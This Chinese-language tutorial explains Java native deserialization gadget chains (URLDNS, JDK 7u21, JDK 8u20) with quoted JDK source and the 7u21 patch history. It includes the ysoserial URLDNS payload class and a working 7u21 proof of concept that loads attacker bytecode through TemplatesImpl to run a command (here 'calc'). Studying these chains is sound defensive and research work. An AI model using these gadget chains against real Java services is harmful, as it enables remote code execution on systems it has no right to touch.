跳转至

JDK 原生反序列化漏洞

1834 个字 626 行代码 预计阅读时间 20 分钟

URLDNS

URLDNS 通常用于检测是否存在 Java 反序列化漏洞,该利用链具有如下特点 :

  1. URLDNS 利用链只能发起 DNS 请求,并不能进行其它利用
  2. 不限制 jdk 版本,使用 Java 内置类,对第三方依赖没有要求
  3. 目标无回显,可以通过 DNS 请求来验证是否存在反序列化漏洞

原理

java.util.HashMap实现了 Serializable 接口,重写了readObject方法,在反序列化时,HashMap 会调用 hash 函数计算 key hashCode,java.net.URL的hashCode在计算时会调用getHostAddress来解析域名, 从而发出DNS请求

    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                            loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                            mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                    DEFAULT_INITIAL_CAPACITY :
                    (fc >= MAXIMUM_CAPACITY) ?
                    MAXIMUM_CAPACITY :
                    tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                        (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }
    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }
    protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

因此,将 URL 对象作为 HashMap key 存储,反序列化时就会触发 DNS 请求。

PoC

package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
 * A blog post with more details about this gadget chain is at the url below:
 *   https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
 *
 *   This was inspired by  Philippe Arteau @h3xstream, who wrote a blog
 *   posting describing how he modified the Java Commons Collections gadget
 *   in ysoserial to open a URL. This takes the same idea, but eliminates
 *   the dependency on Commons Collections and does a DNS lookup with just
 *   standard JDK classes.
 *
 *   The Java URL class has an interesting property on its equals and
 *   hashCode methods. The URL class will, as a side effect, do a DNS lookup
 *   during a comparison (either equals or hashCode).
 *
 *   As part of deserialization, HashMap calls hashCode on each key that it
 *   deserializes, so using a Java URL object as a serialized key allows
 *   it to trigger a DNS lookup.
 *
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 *
 *
 */
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

        public Object getObject(final String url) throws Exception {

                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();

                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

                // Reflections是yso的一个工具类,用于反射修改对象的属性
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

                return ht;
        }

        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }

        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

JDK 7u21

JDK 7u21 是一个原生的反序列化利用链,主要通过AnnotationInvocationHandlerTemplatesImpl两个类来构造。

euqalsImpl

我们还是首先关注AnnotationInvocationHandler类的 invoke() 方法

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        assert paramTypes.length == 0;
        if (member.equals("toString"))
            return toStringImpl();
        if (member.equals("hashCode"))
            return hashCodeImpl();
        if (member.equals("annotationType"))
            return type;

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

此前我们在 CC1-LazyMap 链中主要利用了后面的 get 方法,而在这条链里我们主要关注前面的 if

当方法名为equals且参数个数为 1 时,会调用equalsImpl方法

equalsImpl
    private Boolean equalsImpl(Object o) {
        if (o == this)
            return true;

        if (!type.isInstance(o))
            return false;
        for (Method memberMethod : getMemberMethods()) {
            String member = memberMethod.getName();
            Object ourValue = memberValues.get(member);
            Object hisValue = null;
            AnnotationInvocationHandler hisHandler = asOneOfUs(o);
            if (hisHandler != null) {
                hisValue = hisHandler.memberValues.get(member);
            } else {
                try {
                    hisValue = memberMethod.invoke(o); // (1)
                } catch (InvocationTargetException e) {
                    return false;
                } catch (IllegalAccessException e) {
                    throw new AssertionError(e);
                }
            }
            if (!memberValueEquals(ourValue, hisValue))
                return false;
        }
        return true;
    }

其中(1)处的hisValue = memberMethod.invoke(o)调用了 invoke 方法,memberMethod 来自于this.type.getDeclaredMethods(),这里的 type 是通过构造函数传进的一个 Annotation 的子类

    // 构造函数
    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        this.type = type;
        this.memberValues = memberValues;
    }

    // MemberMethods
    private Method[] getMemberMethods() {
        if (memberMethods == null) {
            memberMethods = AccessController.doPrivileged(
                new PrivilegedAction<Method[]>() {
                    public Method[] run() {
                        final Method[] mm = type.getDeclaredMethods();
                        AccessibleObject.setAccessible(mm, true);
                        return mm;
                    }
                });
        }
        return memberMethods;
    }

也就是说,在equalsImpl中,遍历了this.type中的所有 get 方法并且执行invoke(o)

TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的作用是表示 XSLT 模板,它可以解析 XSLT 样式表并将其编译成可重用的模板。XSLT 是一种 XML 风格语言,用于将 XML 文档转换为其他格式,比如 HTML、文本或其他 XML 文档。

TemplatesImpl 类中定义了一个内部类,即 TransletClassLoader,在这个类中有对 defineClass 进行重写,且未显式声明访问修饰符,默认访问级别是包私有,即该类能够被同一个包中的其他类访问。

一条可行的链为 getOutputProperties() → newTransformer() → getTransletInstance() → defineTransletClasses() → defineClass()(其中 newTransformer 已为 public,但此处需要 getter 方法)

public synchronized Properties getOutputProperties() {
    try {
        return this.newTransformer().getOutputProperties();
    } catch (TransformerConfigurationException var2) {
        return null;
    }
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
    TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory);
    if (this._uriResolver != null) {
        transformer.setURIResolver(this._uriResolver);
    }

    return transformer;
}
private Translet getTransletInstance() throws TransformerConfigurationException {
    ErrorMsg err;
    try {
        if (this._name == null) { // _name 非空
            return null;
        } else {
            if (this._class == null) {
                this.defineTransletClasses(); // defineTransletClasses
            }

            AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setOverrideDefaultParser(this._overrideDefaultParser);
            translet.setAllowedProtocols(this._accessExternalStylesheet);
            if (this._auxClasses != null) {
                translet.setAuxiliaryClasses(this._auxClasses);
            }

            return translet;
        }
    } catch (InstantiationException var3) {
        err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
        throw new TransformerConfigurationException(err.toString());
    } catch (IllegalAccessException var4) {
        err = new ErrorMsg("TRANSLET_OBJECT_ERR", this._name);
        throw new TransformerConfigurationException(err.toString());
    }
}
    private void defineTransletClasses() throws TransformerConfigurationException {
        if (this._bytecodes == null) {
            ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
            throw new TransformerConfigurationException(err.toString());
        } 
        else {
            TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(), TemplatesImpl.this._tfactory.getExternalExtensionsMap()); 
                    // _tfactory 需要是一个 TransformerFactoryImpl 对象
                }
            });

            ErrorMsg err;
            try {
                int classCount = this._bytecodes.length;
                this._class = new Class[classCount];
                if (classCount > 1) {
                    this._auxClasses = new HashMap();
                }

                for(int i = 0; i < classCount; ++i) {
                    this._class[i] = loader.defineClass(this._bytecodes[i]); // 加载字节码
                    Class superClass = this._class[i].getSuperclass();
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // 字节码类的父类为AbstractTranslet
                        this._transletIndex = i;
                    } else {
                        this._auxClasses.put(this._class[i].getName(), this._class[i]);
                    }
                }

                ...
            }
        }
    }

根据分析可知,我们需要满足如下条件才可触发反序列化:

  1. _name 不能为 null,因为在 getTransletInstance 方法中存在对 _name 的非 null 判断
  2. _tfactory 需要是一个 TransformerFactoryImpl 对象,因为在 defineTransletClasses 方法中有调用到 _tfactory.getExternalExtensionsMap()getExternalExtensionsMap 属于 TransformerFactoryImpl
  3. 字节码对应的类的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,因为在 defineTransletClasses() 中有判断 superClass.getName().equals(ABSTRACT_TRANSLET)

type TemplatesImpl 类,将 o( 即执行方法的对象 ) 置为恶意构造的 TemplatesImpl 实例,则equalsImpl会调用TemplatesImpl.getOutputProperties(),加载类字节码实现 RCE

LinkedHashSet

为了触发 invoke,我们需要寻找能够调用equals方法的类。

这里通常的利用是通过 LinkedHashSetLinkedHashSet 继承自 HashSetHashSet readObject时会调用putForCreate方法向集合中添加元素

HashSet
    private void putForCreate(K key, V value) {
        int hash = null == key ? 0 : hash(key);
        int i = indexFor(hash, table.length);

        /**
         * Look for preexisting entry for key.  This will never happen for
         * clone or deserialize.  It will only happen for construction if the
         * input Map is a sorted map whose ordering is inconsistent w/ equals.
         */
        for (Entry<K,V> e = table[i]; e != null; e = e.next) {
            Object k;
            if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) {
                e.value = value;
                return;
            }
        }

        createEntry(hash, key, value, i);
    }
    private void readObject(java.io.ObjectInputStream s)
         throws IOException, ClassNotFoundException
    {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                               loadFactor);

        // set hashSeed (can only happen after VM boot)
        Holder.UNSAFE.putIntVolatile(this, Holder.HASHSEED_OFFSET,
                sun.misc.Hashing.randomHashSeed(this));

        // Read in number of buckets and allocate the bucket array;
        s.readInt(); // ignored

        // Read number of mappings
        int mappings = s.readInt();
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                               mappings);

        int initialCapacity = (int) Math.min(
                // capacity chosen by number of mappings
                // and desired load (if >= 0.25)
                mappings * Math.min(1 / loadFactor, 4.0f),
                // we have limits...
                HashMap.MAXIMUM_CAPACITY);
        int capacity = 1;
        // find smallest power of two which holds all mappings
        while (capacity < initialCapacity) {
            capacity <<= 1;
        }

        table = new Entry[capacity];
        threshold = (int) Math.min(capacity * loadFactor, MAXIMUM_CAPACITY + 1);
        useAltHashing = sun.misc.VM.isBooted() &&
                (capacity >= Holder.ALTERNATIVE_HASHING_THRESHOLD);

        init();  // Give subclass a chance to do its thing.

        // Read the keys and values, and put the mappings in the HashMap
        for (int i=0; i<mappings; i++) {
            K key = (K) s.readObject();
            V value = (V) s.readObject();
            putForCreate(key, value);
        }
    }

发现在putForCreate方法中if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) 调用了equals方法,需要满足条件哈希值相等但 key 不相等。

现在 hashset 中添加TemplatesImpl,将 key 置为代理对象 proxyInstance 插入时即可进入proxyInstance.equals(TemplatesImpl)方法触发AnnotationInvocationHandler invoke

要满足 key 不相同的条件只需传入的两个元素 key 不是相同的类即可。难点在于让代理对象的哈希值和TemplatesImpl对象的哈希值相同,TemplatesImplhashCode()是个Native()方法,每次运行都会改变,不可控。

对于代理对象的hashCode(),它也会触发 invoke 进入AnnotationInvocationHandlerhashCodeImpl方法

hashCodeImpl
    private int hashCodeImpl() {
        int result = 0;
        for (Map.Entry<String, Object> e : memberValues.entrySet()) {
            result += (127 * e.getKey().hashCode()) ^ memberValueHashCode(e.getValue());
        }
        return result;
    }    

计算方法为遍历 memberValues,对(127*hash(key))^hash(value)求和,我们的 memberVlues 只需要一个元素即可,因此我们需要满足等式(127*hash(key))^hash(value)==TemplatesImpl.hashCode()

一个巧妙地思路是令 hash(key) 0,这样只需满足hash(value)==TemplatesImpl.hashCode()即,而我们可以将 value 置为插入 HashSet TemplatesImpl实例,这样哈希值就相同了。常用哈希值为 0 keyf5a5a608

至此,整条利用链已经构造完成。

PoC

package cc.jdk7u21;

import cc.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class Jdk7u21 {
    public static void main(String[] args) throws Exception{
        byte[] evilCode = SerializeUtil.getEvilCode();
        TemplatesImpl templates = new TemplatesImpl();
        SerializeUtil.setFieldValue(templates,"_bytecodes",new byte[][]{evilCode});
        SerializeUtil.setFieldValue(templates,"_name","colemak");

        HashMap<String, Object> memberValues = new HashMap<String, Object>();

        // 为了避免在序列化前向 hashSet 中添加元素时就发生 hash 冲突触发漏洞,这里先修改value的值
        memberValues.put("f5a5a608","colemak"); 

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class, Map.class);
        cons.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)cons.newInstance(Templates.class, memberValues);


        Templates proxy = (Templates) Proxy.newProxyInstance(
                Templates.class.getClassLoader(),
                new Class[]{Templates.class},
                handler
        );


        HashSet hashSet = new LinkedHashSet();
        hashSet.add(templates);
        hashSet.add(proxy);

        // 由于 java 的 Map 赋值是传递引用,因此这里的 value 修改后 proxy 里 map 的值也会改变
        // 从而让反序列化时 hash 冲突调用 equals 方法
        memberValues.put("f5a5a608",templates);

        byte[] bytes = SerializeUtil.serialize(hashSet);
        SerializeUtil.unserialize(bytes);
    }
}
package cc.jdk7u21;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTest extends AbstractTranslet {

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
    public EvilCode() throws Exception{
        Runtime.getRuntime().exec("calc");
    }
}
package cc.jdk7u21;

import javassist.ClassPool;
import javassist.CtClass;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;

public class SerializeUtil {
    public static Object getFieldValue(Object obj, String fieldName) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        return field.get(obj);
    }
    public static byte[] getEvilCode() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazzz = pool.get("EvilCode");
        byte[] code = clazzz.toBytecode();
        return code;
    }

    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }

    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

测试成功:

alt text

修复补丁

type 设为 TemplatesImpl 理论上无法作为 AnnotationInvocationHandler 反序列化,但在原有的 AnnotationInvocationHandler.readObject() 方法中,异常处理部分直接 return,不会抛出异常

    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; all bets are off
            return;
        }
        ...
    }

该漏洞在随后的版本中进行了修复,将return修改成了throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); 此时 type 无法设置为非 Annotation 类型,但该修复方式仍存在问题,后来在 JDK 8u20 中爆出了新的原生反序列化漏洞。

参考资料

JDK 8u20

JDK 8u20 是对 JDK 7u21 修复的绕过,作者在 More serialization hacks with AnnotationInvocationHandler 中提出了绕过方法,需要对 Java 序列化机制有一定的了解。

Try-Catch 机制

对于如下代码,思考运行后会发生什么:

public static void main(String[] args) throws Exception {
        try {
            System.out.println("Start");
            try {
                int a = 1/0;
            } catch (ArithmeticException e) {
                throw new InvalidObjectException("Invalid");
                System.out.println("In");
            }
        } catch (Exception e) {
        }
        System.out.println("End");
    }

运行结果应为:

Start
End

这是由于内部的 try-catch 块抛出了异常被外层捕获,而外层的 catch 忽略了异常,所以程序正常继续执行。

回到AnnotationInvocationHandler.readObject()方法,我们可以看到实际上我们构造的类已经通过defauleReadObject()方法被反序列化,但是由于异常处理导致反序列化链无法继续进行。通过上面的例子是否可以绕过限制呢?

我们需要寻找一个类,满足以下条件:

  1. 实现 Serializable 接口
  2. 重写了 readObject() 方法
  3. readObject() 中存在对 readObject() 的调用,并且对调用的readObject()捕获异常且继续执行。

BeanContextSupport

jdk 中我们找到了想要的类 java.beans.beancontext.BeanContextSupport

    public final void readChildren(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        int count = serializable;

        while (count-- > 0) {
            Object                      child = null;
            BeanContextSupport.BCSChild bscc  = null;

            try {
                child = ois.readObject();
                bscc  = (BeanContextSupport.BCSChild)ois.readObject();
            } catch (IOException ioe) {
                continue;
            } catch (ClassNotFoundException cnfe) {
                continue;
            }


            synchronized(child) {
                BeanContextChild bcc = null;

                try {
                    bcc = (BeanContextChild)child;
                } catch (ClassCastException cce) {
                    // do nothing;
                }

                if (bcc != null) {
                    try {
                        bcc.setBeanContext(getBeanContextPeer());

                       bcc.addPropertyChangeListener("beanContext", childPCL);
                       bcc.addVetoableChangeListener("beanContext", childVCL);

                    } catch (PropertyVetoException pve) {
                        continue;
                    }
                }

                childDeserializedHook(child, bscc);
            }
        }
    }

    private synchronized void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {

        synchronized(BeanContext.globalHierarchyLock) {
            ois.defaultReadObject();

            initialize();

            bcsPreDeserializationHook(ois);

            if (serializable > 0 && this.equals(getBeanContextPeer()))
                readChildren(ois);

            deserialize(ois, bcmListeners = new ArrayList(1));
        }
    }
如果其serializable的值为不为0,会进入到readChildren中,随后调用ois.readObject()读取序列化字节码中的内容

序列化引用机制

在最终的利用前,我们需要了解一下 Java 的序列化机制。

在序列化流程中,对象所属类、对象成员属性等数据都会被使用固定的语法写入到序列化数据,并且会被特定的方法读取;在序列化数据中,存在的对象有 null、new objects、classes、arrays、strings、back references 等,这些对象在序列化结构中都有对应的描述信息。

为了避免重复写入完全相同的元素,Java 反序列化存在引用机制:每一个写入字节流的对象都会被赋予引用 Handle,出现重复对象时使用TC_REFERENCE结构引用前面 handle 的值。

引用 Handle 会从0x00 7E 00 00开始进行顺序赋值并且自动自增,一旦字节流发生了重置则该引用 Handle 会重新开始计数。

Example

import java.io.*;

public class exp implements Serializable {
    private static final long serialVersionUID = 100L;
    public static int num = 0;
    private void readObject(ObjectInputStream input) throws Exception {
        input.defaultReadObject();
    }
    public static void main(String[] args) throws IOException {
        exp t = new exp();
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("test"));
        out.writeObject(t);
        out.writeObject(t); //第二次写入
        out.close();
    }
}

使用 SerializationDumper 可以查看序列化后的数据

alt text

由于我们写入了两次,最后部分的TC_REFERENCE块为 handle 引用指向了前面的对象 0x00 7e 00 01

PoC

AnnotationInvocationHandler.readObject()方法中的异常处理前已经反序列化了我们构造的对象,这就生成了一个有效的 handle 值,通过BeanContextSupport 绕过异常处理后可以通过TC_REFERENCE 来引用已经序列化好的 AnnotationInvocationHandler 对象,继续 7u21 的利用链即可。

修改序列化字节码是 JDK 8u20 利用链的难点,这里参考文章以一种更简单的方式构造 JRE8u20 Gadget,示意图如下:

alt text

PoC

参考资料


最后更新: 2024年8月19日 17:59:19
创建日期: 2024年7月31日 12:30:17

评论